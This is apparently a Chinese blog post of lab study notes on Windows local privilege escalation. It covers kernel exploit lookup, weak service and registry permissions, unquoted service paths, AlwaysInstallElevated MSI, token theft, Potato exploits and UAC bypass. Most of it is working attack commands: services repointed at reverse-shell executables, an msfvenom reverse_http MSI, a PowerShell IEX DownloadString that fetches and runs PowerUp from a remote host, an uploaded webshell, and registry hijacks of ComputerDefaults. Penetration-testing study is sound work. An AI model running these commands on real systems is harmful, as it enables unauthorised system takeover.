《内网渗透体系建设》权限提升(上)

《内网渗透体系建设》权限提升(上)

4 权限提升

4.1 系统内核漏洞提权

4.1.1 查找系统潜在漏洞

1 手动找

systeminfo

测试人员会根据没有列出的补丁号来找漏洞

2 wes-ng 查找可用漏洞

bitsadmin/wesng: Windows Exploit Suggester - Next Generation (github.com)

python3 wes.py --update
python3 wes.py sysinfo.txt --impact "Elevation of Privilege"
# --impact指定漏洞类型为提权漏洞

image-20221111000434936

查找有公开exp的,结果后面附有链接

python3 wes.py sysinfo.txt --impact "Elevation of Privilege" --exploits-only

4.1.2 确定并利用漏洞

比如说用msf:

在meterpreter中,

我们已经通过shell执行了systeminfo >systeminfo.txt,接下来就直接通过meterpreter下载到kali上

download systeminfo.txt

这里不做演示

4.2 系统服务提取

注册表的官方文档,很全,推荐学习:

https://learn.microsoft.com/zh-cn/windows/win32/sysinfo/structure-of-the-registry

通常情况下,用户安装的一些应用会在本地注册一些服务,并且大多数是system权限启动,应用软件在注册服务时, 会在下面路径中创建响应的注册表项:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services

注册表下面有很多个表项, 每条表项分别对应一个服务, 默认情况下系统就有上百条系统服务表项数据, 例如查询一下我本地安装Chrome的服务表项数据:

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gupdate

image-20221110195904556

可以这样找

PS C:\Users\20281> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services | findstr update
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\edgeupdate
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\edgeupdatem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gupdate
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gupdatem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\tzautoupdate

试试edge的update

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\edgeupdate

image-20221110203139358

类似这样,就可以查到一些信息

注意imagePath

这个键的值指向该系统服务所启动的二进制程序

4.2.1 不安全的服务权限

ACL定义了安全对象的访问控制策略

类似于这样

image-20221110204932126

假如目标主机的用户在配置服务时存在疏忽,是低权限用户对高权限下运行的系统服务拥有更改服务配置的权限,就可以通过低权限用户直接修改服务启动时的二进制文件路径

AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。

AccessChk - Sysinternals | Microsoft Learn

执行以下命令

accesschk64.exe /accepteula -uwcqv "INTERACTIVE" *    # 查询INTERACTIVE组可修改配置的服务
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *    # 查询Authenticated Users组可修改配置的服务

sc config <Server Name> <BinfilePath Cloumn>= "cmd.exe /k <EvilFilePath>"   # 修改服务启动文件为恶意文件路径/命令
#比如说书里是这样写的:
#sc config InsproSvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe"   #binpath=后面必须有一个空格

#重启服务
sc stop <Service Name>    
sc start <Service Name>

image-20221110210130100

低权限用户可以检查Authenticated Users组和INTERACTIVE组对系统服务的权限, 因为这两个组拥有的权限一般用户也是具备的, 它们都是计算机本地Users组的成员

用户组 说明
Authenticated Users 结果身份验证的用户, 包含系统中所有使用用户名、密码登录并通过身份验证的账户 但不包括来宾账户
INTERACTIVE 交互式用户组, 包含系统中所有直接登录到计算机进行操作的用户

可以看到我找不到符合要求的用户...

如果有满足要求可以修改配置的服务的话可以先通过reg query查询到二进制文件地址的字段, 然后将其修改为反弹恶意文件的路径:

sc config <Server Name> <BinfilePath Cloumn>= "cmd.exe /k <EvilFilePath>"COPY

如果用户对服务是否同时有SERVICE_STARTSERVICE_STOP权限的话可以通过下面命令重启服务:

sc stop <Service Name>
sc start <Service Name>COPY

(此外最简单的就是重启让服务重新启动了)

4.2.2 服务注册表脆弱项

上面是查找不安全的服务,这里是查找不安全的用户:

如果注册表的ACL配置错误,使得一个低权限用户对服务的注册表拥有写入的权限

hocksr师傅总结的好:

Windows注册表中存储了每个系统服务的条目, 而注册表使用ACL来管理用户对其拥有的访问权限。

这里和上面其实原理是一样的, 都是ACL配置出错, 这里主要的点就是低权限用户对服务的注册表有写入权限,因此可以通过修改注册表来修改服务配置

  1. 不安全的服务提权是ACL权限配置错误导致服务配置修改权限分配到了低权限用户手中
  2. 服务注册表脆弱项是ACL权限配置错误导致注册表表项修改权限分配到了低权限用户手中

payload

accesschk64.exe /accepteula -uvwqk HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services #查询当前用户具有写入权限的注册表项

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<Server Name> /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k <EvilFilePath>" /f    #修改注册表项的ImagePath字段(也可能是其他字段和类型,看具体的服务配置修改)

accesschk64.exe /accepteula -ucqv "<UserGroup Name>" <Server Name>    #查询用户组对服务是否有重启权限
accesschk64.exe /accepteula -ucqv "INTERACTIVE" <Server Name>   
accesschk64.exe /accepteula -ucqv "Authenticated Users" <Server Name>

#重启服务
sc stop <Service Name>    
sc start <Service Name>

这里很多,只截取一部分

image-20221110220432239

accesschk64.exe /accepteula -uvwqk "Authenticated Users" HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services

查找Authenticated Users用户组具有写入权限的服务注册表

image-20221110221117287

image-20221111002252785

image-20221111002732904

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\ZhuDongFangYu /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\360安全浏览器下载\exp.exe" /f  

image-20221111003741386

权限不够,寄

后面换了一个成功了

image-20221111131020437

image-20221111131159549

直接手动改

image-20221111130930806

然后sc start

但是呢,权限不对

image-20221111173328233

4.2.3 服务路径权限可控

payload

accesschk64.exe /accepteula -quv "<ServerFilePath>" #查看服务的二进制文件目录关于全部用户组的权限分配情况,如果接的是一个目录那就会分别列出该目录下全部目录和文件对各个用户组的权限分配情况
accesschk64.exe /accepteula -quv "<ServerGroupName>" "<ServerFilePath>" #查看服务的二进制文件目录关于指定用户组的权限分配情况

shutdown -r -t 0

#重启服务
sc stop <Service Name>    
sc start <Service Name>

比如说,看看我们之前尝试的ZhuDongFangYu的imagePath在当前用户下有没有写入权限

发现其实是有的呢

accesschk64.exe /accepteula -quv "路径"

image-20221111140838412

书里说只需要在这个目录下把exp换为同名荷载就好,但是h0cksr师傅显然更有远见一些:

  1. 直接将二进制文件替换为恶意程序让系统以system权限执行完成提权

  2. 在二进制文件目录下写入或者替换动态链接库文件进行dll劫持, system身份加载代码

    这种情况就是一个个服务慢慢找了

    1. 从服务项注册表中找到全部服务程序所在目录路径
    2. 检查Authenticated Users,INTERACTIVE,当前用户所在的其他用户组, 这三个用户组对文件夹目录是否有控制权限
    3. 筛选出有控制权限的目录
    4. 进入有控制权限的服务目录替换二进制文件或者dll文件

    这个要干的活稍微麻烦一点, 主要是要一个个服务查找到对应的二进制文件目录, 然后再检查当前用户对目录的控制权限是否有写入权限, 这点手工活不少, 不过可以参考下面未引用的服务路径直接wmic查看全部服务的PathName然后取出该字段, 再写个bat或ps脚本逐行执行上面accesschk64.exe用户组的权限检测, 最后输出满足要求的服务目录

我这里显然是运气好呢

image-20221111141559122

笑死,失败了,360这个ZhuDongFangYu可能还有些门道暗含其中,后面再研究

我们换一个试试

image-20221111143124678

有写入权限,但是这里替换文件的时候显示已被打开

Sc stop <servicename>

然后再次尝试成功

image-20221111143854428

image-20221111143944894

4.2.4 未引用的服务路径

又称为可信任的服务路径。

如果完整路径中包含空格且未有效包含在引号中,那么对于该路径中的每个空格,windows都会按照从左到又的顺序尝试寻找并执行与空格钱的名字相匹配的程序。

wmic service get DisplayName, PathName, StartMode|findstr /i /v "C:\Windows\\" |findstr /i /v """  #查询不带"来指定二进制文件路径的服务

accesschk64.exe /accepteula -quv "<UserGroupName>" "<DirFromServer>"    #查找带空格提前解析的目录有没有写入权限

image-20221111154020162

image-20221111154051513

2345看图王我吃定了()

查了下2345Pic,也是可写

写了个jjj.exe进去

image-20221111160700837

sc create <servicename> binpath="xxx"
sc start <servicename>

image-20221111172801071

4.2.3 PowerUp

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.130:80/PowerUp.ps1');Invoke-AllChecks"

PowerUP是一个ps脚本, 上面的几种有关服务的提权方法都集成在里面

4.3 MSI安装策略提权

4.3.1 环境搭建以及排查漏洞

一开始想着查注册表,但是查不出来

reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

image-20221111171157270

这里改一下

之后再查就可以看到

reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

image-20221111171347459

由于之前状态是未启用,所以查不到呢

4.3.2 创建恶意MSI并安装

上传下载,然后跑以下命令

msfvenom -p windows/meterpreter/reverse_http LHOST=csServerIp LPORT=ListenPort -f msi -o reverse_tcp.msi    #生成反弹shell的msi安装程序

msiexec /quiet /qn /i reverse_http_80.msi   #使用系统自带的安装应用msiexec运行msi程序

image-20221111174404257

但是失败了

尝试直接在win7上命令行输入,仍然复现失败了

可能用cs更好?

4.4 访问令牌操纵

4.4.1 访问令牌

windows操作系统的访问控制模型:

1. Windows访问控制模型 - Windows Access Control (gitbook.io)

Windows中的访问控制模型(Access Control Model),它是Windows安全性的基础构件。访问控制模型有两个主要的组成部分,访问令牌(Access Token)和安全描述符(Security Descriptor),它们分别是访问者和被访问者拥有的东西。通过访问令牌和安全描述符的内容,Windows可以确定持有令牌的访问者能否访问持有安全描述符的对象。

访问控制模型有两个基本部分:

  1. 1.

    访问令牌(Access tokens):包含了有关已登录用户的信息(与特定的windows账户关联)

  2. 2.

    安全描述符(Security descriptors):包含了保护安全对象的安全信息(与被访问对象关联)

访问令牌:

访问令牌是描述进程或线程的安全上下文的对象。令牌中的信息包括与进程或线程关联的用户帐户的标识和特权信息。当用户登录时,系统通过将用户密码与安全数据库(如域认证中的NTDS或本地认证中的SAM文件)中存储的信息进行比较来验证用户密码。如果密码经过验证,则系统将生成访问令牌。代表该用户执行的每个进程都有此访问令牌的副本。(通常我们在输入密码登陆进入Windows界面时就是一个生成访问令牌的过程)

Windows Access Token分两种:

  1. 1.

    主令牌(Primary token)

  2. 2.

    模拟令牌(Impersonation token)

默认情况下, 当进程的线程与安全对象交互时, 系统使用主令牌. 此外, 线程可以模拟客户端账户. 模拟是指线程在安全上下文中执行的能力, 并且该上下文不同于拥有该线程的进程的上下文. 当线程模拟客户端时, 模拟线程将同时具有主访问令牌和模拟令牌.

Win32 API 说明
OpenProcess 根据提供的进程id获取指定进程的句柄
OpenProcesToken 获取与指定进程相关联的访问令牌的句柄
DuplicateTokenEx 复制现有的访问令牌以创建一个新的访问令牌, 包括创建主令牌或模拟令牌
ImPersonateLoggedOnUser 调用线程来模拟登录用户的访问令牌的安全上下文
CreateProcessWithTokenW 创建一个新进程以及主线程, 新进程在指定令牌的安全上下文中运行
CreateProcessAsUserA 创建一个新的进程以及主线程, 新进程在由指定令牌表示的用户的安全上下文中运行

通常, 通过操纵访问令牌, 使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程. 这常常使用内置的API从指定的进程中复制访问令牌, 并将得到的访问令牌用户现有进程或新生成的进程/线程, 以达到权限提升并绕过访问控制的目的. 这个过程就成为令牌窃取.

4.4.2 常规令牌窃取操作

常规的令牌操纵往往用来将管理员权限提升为SYSTEMTrustedInstaller等更高系统权限, 实战中如果本地管理员账户因为某些组策略设置无法获取某些特权可以使用令牌窃取假冒NT AUTHROITY\SYSTEM的令牌, 以获取更高的系统权限.

此外令牌窃取还长用于降权或用户切换操作

1 利用incognito

下载

incognito2/incognito.exe at master · milkdevil/incognito2 (github.com)

incognito.exe list_tokens -u   查看本地可用的token       
incognito.exe -h IP -u administrator -p Password  -g list_tokens -u  通过IPC远程列举tokens
c   以指定token执行命令,这里窃取system
incognito.exe execute -c "HACK-MY\Marcus" cmd.exe     以指定token执行命令,这里窃取域用户

Delegation token列出了system的令牌

image-20221114101529073

提权时,被防火墙拦截了

image-20221114101920516

返回失败

image-20221114101954434

关闭防火墙后自然可以复现

2 利用Metasploite窃取令牌

exploit/multi/handler
set payload indows/meterpreter/reverse_http
set lhost msfServerHost
set lport msfServerPort
run

如果有meterpreter,那么可以直接加载incognito,这个时候可以绕过defander

meterpreter > load incognito #加载incoginto 盗窃目标主机的令牌或是假冒用户
load incognito          #导入incognito令牌窃取模块
list_tokens -u          #查看可被1窃取令牌的用户
impersonate_token ""    #窃取账户令牌
steal_token  <PID>        #从指定进程中窃取令牌

image-20221114104840384

3 通过令牌获取TrustedInstaller权限

背景:

在Windows系统中, SYSTEM是最高权限, 但是即便获取SYSTEM权限也不能修改Windows系统文件(例如C:\Windows\Servicing目录即便是SYSTEM权限也不能对其写入)

icacls "C:\Windows\servicing"  #查看目录的权限分配

image-20221114102944741

NT Serivice\TrustedInstaller账户对C:\Windows\servicing这个目录有完全控制的权限

从WindowsVista开始系统内置了一个TrustedInstaller安全主体, 拥有修改系统文件权限, 专门对系统进行维护、更新等操作.TrustedInstaller以一个账户组的形式出现, 即NT Serivice\TrustedInstaller

TrustedInstaller本身是一个服务, 在开启时会运行程序C:\Windows\servicing\TrustedInstaller.exe, 这个程序的拥有者为NT Serivice\TrustedInstaller所以测试人员可以通过窃取TrustedInstaller.exe程序的token以提升到TrustedInstaller权限

尽管获取SYSTEM没有被察觉,但是获取TrustedInstaller权限会被拦截

image-20221114104246386

咱们关一下防火墙后

image-20221114104928724

这里直接getuid不会显示自己是TrustedInstaller用户,但是我们可以试图在service目录下写东西

image-20221114105202504

4.4.3 Potato家族提权

1 Rotten Potato

https://github.com/foxglovesec/Potato

又称“烂土豆”

烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

Rotten PotatoJuicy Potato方法都只适用于Windwos 10 version 1809Windwos Server 2019之前的版本系统,在之后的版本中, 微软通过检查PRC绑定字符串中指定的端口来修复了这个问题, 修复后的系统无法通过原来的方法实现中间人攻击

提权实现机制可分为以下三步骤:

  1. 通过GoGetInstanceFromIstorage API,将一个COM对象(BITS)加载到本地可控端口(TCP 6666), 并诱骗BITS对象以SYSTEM账户的身份向该端口发起NTLM验证
  2. 借助本地RPC 135端口, 对BITS对象的认证过程实施中间人攻击, 同时调用相关的API为SYSTEM账户在本地生成一个访问令牌
  3. 通过SYSTEM账户的令牌创建新进程, 以获取SYSTEM权限

复现前我们需要模拟一下已经获取iis的相应权限的shell,这时候就要求搭一个iis

IIS全称Internet Information Service,中文名:Internet信息服务,专用于微软操作系统平台,兼容微软的各项Web技术,尤其是ASP.NET(其实也就在IIS上能跑),除此之外,IIS还支持CGI,IIS7以后的版本对Fast-CGI支持更好,所以PHP 5.3可以使用Fast-CGI和Zend来优化在IIS上的性能,当然早期的ASP也是可以支持的,JSP的支持相对麻烦,而且性能不好,所以基本没人拿IIS跑JSP。

Win7 IIS服务器的搭建_zane_aimingoo的博客-CSDN博客

基本上就是在这里设置

image-20221114115908204

随后访问成功

image-20221114120846900

然后新建一个站,上传aspx马(我这里用的冰蝎),随后在冰蝎中反弹一个meterpreter,获取到iis的权限——

image-20221114130913435

获得shell

image-20221114131616208

如果用incognito的话,会发现没有SYSTEM的令牌可以窃取

image-20221114132456150

但注意到我们有这些权限

image-20221114131857074

上传rotten potato

image-20221114133237249

理论上应该会在这里多一个SYSTEM令牌,这里复现失败

2 juicy Potato

可以理解为烂土豆plus,原理和烂土豆差不多,但是不用依赖于meterpreter

操作步骤

  1. 上传Juicy Potato的利用程序

  2. 根据系统操作版本选择一个可用的COM对象

    这个步骤就是烂土豆的拓展, 在RottenPotato中默认选择的是BITS对象, 这个可用对象的CLSID根据脚本获得, 不同的系统有哪些SLID可以参考CLSID

  3. 执行Juicy Potato程序加载可用的COM对象获取SYSTEM权限并运行指定payload程序反弹shell

下载juicy-potato然后上传(会被defender干掉)

运行clsid.ps1将全部clsid输出到CLSID.list文件中

powershell -ep bypass .\clsid.ps1 > CLSID.list

h0cksr师傅的

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
Write-Host $a.CLSID
}

image-20221114143253930

@h0cksr师傅写了个1.bat,可以将可用的CLSID全部输出到result.log文件中(脚本中的CLSID.list,juicypotato.exe,result.log三个文件的位置根据实际情况修改)

@echo off
:: Starting port, you can change it
set /a port=9999
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
  echo %%i !port!
  juicypotato.exe -z -l !port! -c %%i >> result.log
  set RET=!ERRORLEVEL!
  :: echo !RET!
  if "!RET!" == "1"  set /a port=port+1
)

image-20221114143543635

之后选择result.log中的任意一个CLSID运行juicypotato脚本

juicypotato.exe -t t -p "" -l 6666 -n 135 -c 

image-20221114144235642

复现失败

3 PrintSpoofer (Pipe Potato)

这个相对比较新,发现于2020.5

PrintSpoofer64.exe -i -c whoami

但是也不知道为啥复现失败

image-20221114144312666

4 Sweet Potato

这个属于是大杂烩了在里面集成了西面几种提权方式用于获取SYSTEM权限

  1. Rotten Potato
  2. Juicy Potato
  3. RogueWinRMPrintSpoofer

4.5.1 UAC白名单

介绍:

用户帐户控制(User Account Control,简写作UAC)是微软公司从Windows Vista版本操作系统开始采用的一种控制机制。

原理
界面操作是:通过询问用户是否授权给应用程序,使用硬盘驱动器和系统文件的权力。以达到阻止恶意程序(“恶意软件”)损坏系统的效果。

内部逻辑是:

在触发 UAC 时,操作系统会创建一个consent.exe进程,用来确定是否创建具有管理员权限的进程(通过白名单和用户选择判断),然后creat process。请求进程将要请求的进程cmdline和进程路径,通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名,以及,发起者的权限,是否符合要求,然后决定是否弹出UAC框,让用户确认。这个UAC框会创建新的安全桌面,遮挡之前的界面。同时这个UAC框进程是SYSTEM账户的进程,其他标准用户进程无法与其通信交互。用户确认之后,会调用CreateProcessAsUser函数,以管理员权限启动请求的进程。

所以,病毒木马想要实现高权限操作,就不得不绕过UAC弹窗,在没有通知用户情况下, 悄悄地将普通权限,提升为管理员权限启动进程,从而使程序得到高权限的操作。

工具链接:

https://learn.microsoft.com/en-us/sysinternals/downloads/strings

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck

思路:参考@h0cksr师傅,师傅tql

后面的内容有点多, 且示例中的使用ComputerDefaults.exe进行提权的方式需要根据进程监视器找到进程的注册表加载项, 这些没有一定的熟练度和经验如果想要自己找的话无疑是困难的, 所以这里就直接简单说一下后面的一个思路

  1. 找到UAC白名单程序
  2. 检查程序有没有什么我们可控的额外加载项(示例中ComputerDefault.exe默认加载HKCU\Software\Classes\ms-settings\shell\open\command注册表项程序)
  3. UAC程序加载的程序我们是否可控(上面的注册表普通用户权限就可以修改, 这点是很重要的,最佩服的就是示例中的作者能够发现这个一般权限可控的注册表)
  4. 引导UAC程序加载我们的恶意程序拿到一个管理员会话
  5. 使用管理员会话使用CS的csv-exe功能或者Meterpreter的getsystem程序拿到SYSTEM权限会话

白名单有个共同特点:就是Manifest中的autoElevate数据为true

payload

# 查找白名单程序
sigcheck.exe -accepteula -m C:\Windows\System32\*.exe   #输出System32下面全部应用的Manifest数据
strings.exe -accepteula -s C:\Windows\System32\*.exe |find /i "<autoElevate>true</autoElevate>"   #输出System32下面全部应用的Manifest数据过滤autoElevate为True的程序

# ComputerDefault.exe默认程序应用+修改注册表提权demo:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\temp/reverse_http_80.exe" /f  #修改ComputerDefault加载的注册表指向的程序
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "C:\temp/reverse_http_80.exe" /f #修改ComputerDefault加载的注册表指向的程序
ComputerDefault.exe #执行程序,因为UAC白名单以管理员身份启动,然后加载注册表程序反弹管理员会话

sigcheck.exe -accepteula -m C:\Windows\System32*.exe

image-20221114155156153

strings.exe -accepteula -s C:\Windows\System32\*.exe |find /i "<autoElevate>true</autoElevate>"

image-20221114161626543

一个demo:

注意到ComputerDefaults

image-20221114161750534

进去system32目录双击文件,发现并没有UAC弹窗

image-20221114162051242

可以使用微软的系统工具Process Monitor监控ComputerDefaults.exe进程的所有操作行为(主要是监控注册表和文件操作), 然后在里面可以在里面看到ComputerDefaults.exe会先查询注册表HKCU\Software\Classes\ms-settings\Shell\open\command中的数据, 发现该路径不存在然后继续查询HKCR\ms-settings\Shell\Open\Command\DelegateExecute中的数据并读取

这里复现不了,process Monitor太卡了

通常以Shell\open\command命名的注册表中存储的可能是可执行文件路径, 程序会读取其中的键值并运行相应的可执行文件。由于ComputerDeflate.exe是UAC白名单程序, 运行时默认提升了权限, 因此运行键值的可执行程序的时候使用的是管理员身份.

reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\exp.exe" /f

reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "C:\exp.exe" /f

C:\Windows\System32\ComputerDefaults.exe

image-20221114180950544

运行

getsystem

image-20221114181448206

如果是cs

在拿到管理员的会话之后如果是在cs里面那么直接利用Access->Elevate->svc-exe模块就可以直接拿到一个SYSTEM权限的会话了

4.5.2 dll劫持

windows很多引用程序并不是一个完整的可执行文件,而是被分割成一些相对登录的动态链接库(Dynamic Link Library,DLL).

当应用启动时,相应的DLL文件就会被加载到程序进程的内存空间。黑客就可以通过一些手段,欺骗合法的,受信任的应用程序加载任意的DLL,从而造成DLL劫持

当应用加载DLL时,如果没有指出DLL的绝对路径,那么程序会在指定路径下搜索待加载的DLL,

LL动态链接库的搜索路径加载顺序:

在开启D安全LL搜索模式(XP SP2之后默认开启)的情况下:

  1. 程序安装目录
  2. 系统目录(C:\Windows\System32)
  3. 64位系统目录(C:\Windows\System)
  4. Windwos目录(C:\Windows)
  5. 当前工作目录
  6. Path环境变量列出的目录

只要我们放置的dll程序在原本应加载的dll文件之前被加载到(dll文件需要同名), 就可以完成dll劫持, 但是一般这些目录我们都是不可写的, 所以需要结合模拟可信任目录进行利用

4.5.3 模拟可信任目录 (待补充)

UAC白名单程序请求自动提升权限的过程:

  1. 系统读取程序mainFest信息中的autoElevate属性字段值,如果为True则说明是可自动提升权限的程序
  2. 系统检查程序的签名(这就意味着不能将UAC程序替换为paylaod程序)
  3. 系统检查程序是否位于可信任目录中(如C:\Windows\System32目录)

为了绕过检查:

模拟可信任目录主要的攻击点就是在第三部可信任目录上, 例如上面提到C:\Windows\System32目录是一个可信任目录, 那么我们就可以使用一个`C:\Windows \System32目录作为模拟可信任目录(在Windows后面多了一个空格), 原理就是在系统检查的时候会自动去处目录中的空格(所以其实我们还有很多可选的模拟信任目录)

想要利用模拟可信任目录进行DLL劫持完成提权, 总结就是以下四步:

  1. 找到UAC白名单程序
  2. 创建模拟可信任目录(这里需要自己筛选可写入的目录了)
  3. 将程序目录的文件内容全部复制到模拟可信任目录中(保留mainFest中的autoExecute数据字段和程签名不变)这里建议直接跑工具UacInfo64.exe
  4. 将复制过来的某个dll文件删除, 替换为我们构造好的dll格式的payload文件

SYSTEM32的白名单程序检测输出结果

image-20221114192455420

由于我的镜像有点烂,连进程监控器都打不开,所以没法复现了,等之后学习到的时候更换一个正版镜像再做尝试

4.5.4 相关辅助工具

1 UACME

akagi.exe [key] [param] 

项目及其介绍:

https://github.com/Apri1y/UACME 18年的项目, 在README中详细介绍了47种利用方式以及它的可利用起止版本(里面的unfix看看就行, 还是要自己尝试, 毕竟项目比较老了)且有已编译好的exe可直接使用(但是一落地就会被杀, 倒是里面的工具UacInfo64.exe还挺好用的, 直接列出CLSID的对象说明以及可以dll劫持的白名单程序)

https://github.com/hfiref0x/UACME 17年的项目, 在README中的使用demo编号高达61,但是没有太多编号对应的漏洞介绍

https://github.com/dotfornet/UACME 16年的项目, 在README中有23个利用方式,且对每个利用方式都要描述且说了从哪个版本(Fixed)

2 MetaSploit

msfconsole
search bypassuac
use exploit/windows/local/bypassuac_xxx
set session   #BypassUAC需要指定一个当前已连接的会话编号
run  #如果成功的话会返回一个新的session

image-20221114194543444

流程大概类似这样

image-20221114195450663

复现失败

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇